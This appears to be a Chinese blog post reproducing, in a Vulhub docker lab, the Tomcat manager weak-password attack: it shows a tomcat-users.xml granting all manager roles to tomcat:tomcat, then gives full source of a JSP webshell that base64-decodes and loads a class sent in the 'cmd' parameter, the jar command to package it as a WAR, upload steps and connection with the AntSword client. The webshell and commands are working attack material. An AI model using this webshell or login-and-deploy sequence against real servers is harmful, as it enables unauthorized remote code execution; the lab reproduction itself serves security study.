首页 > 系统相关 >Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat7+ 弱口令 && 后台getshell漏洞

时间:2023-09-07 22:47:10浏览次数:43  
标签:getshell tomcat Tomcat7 漏洞 manager && 后台 权限

目录

Tomcat7+ 弱口令 && 后台getshell漏洞

说明 内容
漏洞编号
漏洞名称 Tomcat7+ 弱口令 && 后台getshell漏洞
漏洞评级 高危
影响范围 Tomcat 版本:8.0
漏洞描述 Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限
tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击
修复方案

1.1、漏洞描述

Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

1.2、漏洞等级

高危

1.3、影响版本

Tomcat 版本:8.0

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/tomcat8


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到

image-20230907195043319

点击Manager App即可跳到管理登陆页面

image-20230907195228899

输入用户名密码 tomcat:tomcat,来到管理界面

image-20230907195329503

2、漏洞扫描

3、漏洞验证

登录到后台后可以通过部署war包进行getshell

找一个a.jsp木马

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

打包成war

jar cvf tomcat.war a.jsp

image-20230907200605863

上传打包的tomcat.war

生成一个tomcat的路径

image-20230907200826089

在地址栏路径中访问http://192.168.80.141:8080/tomcat/a.jsp

image-20230907201044386

蚁剑连接,密码cmd

image-20230907201030811

标签:getshell,tomcat,Tomcat7,漏洞,manager,&&,后台,权限
From: https://www.cnblogs.com/saury/p/17686276.html

相关文章

  • Tomcat7+ 弱口令 && 后台getshell漏洞
    Tomcat7+弱口令&&后台getshell漏洞环境说明Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。Tomcat7+权限分为:manger(后台管理)manger-gui拥有html页面权限manger-status拥有查看status的权限mager-jmx拥有jmx权限......
  • Tomcat7.x安装配置
    安装配置https://archive.apache.org/dist/tomcat/https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.109/bin/bin目录下:这里选:apache-tomcat-7.0.109-windows-x64.zip版本win+r打开运行窗口并键入sysdm.cpl,打开系统属性,点击高级->环境变量在系统变量中新增CATALI......
  • 从密码重置打到Getshell和其它漏洞打包
    前言前几天是准备上点edusrc的分的所以就准备用手上还没刷的Nday继续上分,然后就有了今天这个案例:信息收集之前在挖某体育学院证书的时候就挖到过一个通过修改html文件更改密码修改步骤的漏洞所以就准备测绘一下这个资产继续看看能不能上分挑一个打开:没有背景图了但还是......
  • Tomcat7 session 持久化
    tomcat7session默认是持久化的,tomcat7关闭或者重启,都会将内容持久化到SESSION.ser文件,这里推荐使用everything这个软件,查找这个文件。参考官方文档: 戳我......
  • Eclipse3.6 + Tomcat7 + Jdk1.6配置
     Eclipse3.6+Tomcat7+Jdk1.6配置管理Eclipse上的tomcat的插件SysdeoEclipseTomcatLauncherpluginhttp://www.eclipsetotale.com/tomcatPlugin.html-----正文开始----一直以来都是很容易的将eclipse与tomcat结合使用,但是最近想试用tomcat7的时候,却突然发现eclipse将web服务......
  • Maven3 + Nexus 2.3 + Hudson 2.x/3.x + Tomcat7
    [color=blue][b]以下在Hudson2.x配置成功,然后升级到Hudson3.x后,配置依然有效.[/b][/color][color=blue][b]Hudson邮件配置&构建bash项目[/b][/color][url]http://www.blogjava.net/Man/archive/2012/12/26/393520.html[/url]关于邮件的参数参考:[url]http:/......
  • Tomcat7安装基于jdk 1.7环境
    这篇文章着重讲解tomcat7的安装,首先需要下载tomcat包和相应的jdk,如果你的系统是32位,那么下载x86的jdk,如果是64位的系统,那么下载X64的JDK。tomcat7安装1、查看系统版本 #uname–a//是64位系统,那么我们选择64位的JDKLinux2.6.32-71.el6.x86_64#1SMPFriMay2003......
  • Tomcat7安装基于jdk 1.7环境
    这篇文章着重讲解tomcat7的安装,首先需要下载tomcat包和相应的jdk,如果你的系统是32位,那么下载x86的jdk,如果是64位的系统,那么下载X64的JDK。tomcat7安装1、查看系统版本 #uname–a//是64位系统,那么我们选择64位的JDKLinux2.6.32-71.el6.x86_64#1SMPFriMay2003......
  • Tomcat7安装基于jdk 1.7环境
    这篇文章着重讲解tomcat7的安装,首先需要下载tomcat包和相应的jdk,如果你的系统是32位,那么下载x86的jdk,如果是64位的系统,那么下载X64的JDK。tomcat7安装1、查看系统版本 #uname–a//是64位系统,那么我们选择64位的JDKLinux2.6.32-71.el6.x86_64#1SMPFriMay2003......
  • Tomcat7安装基于jdk 1.7环境
    导读这篇文章着重讲解tomcat7的安装,首先需要下载tomcat包和相应的jdk,如果你的系统是32位,那么下载x86的jdk,如果是64位的系统,那么下载X64的JDK。tomcat7安装1、查看系统版本 #uname–a//是64位系统,那么我们选择64位的JDKLinux2.6.32-71.el6.x86_64#1SMPFriMay......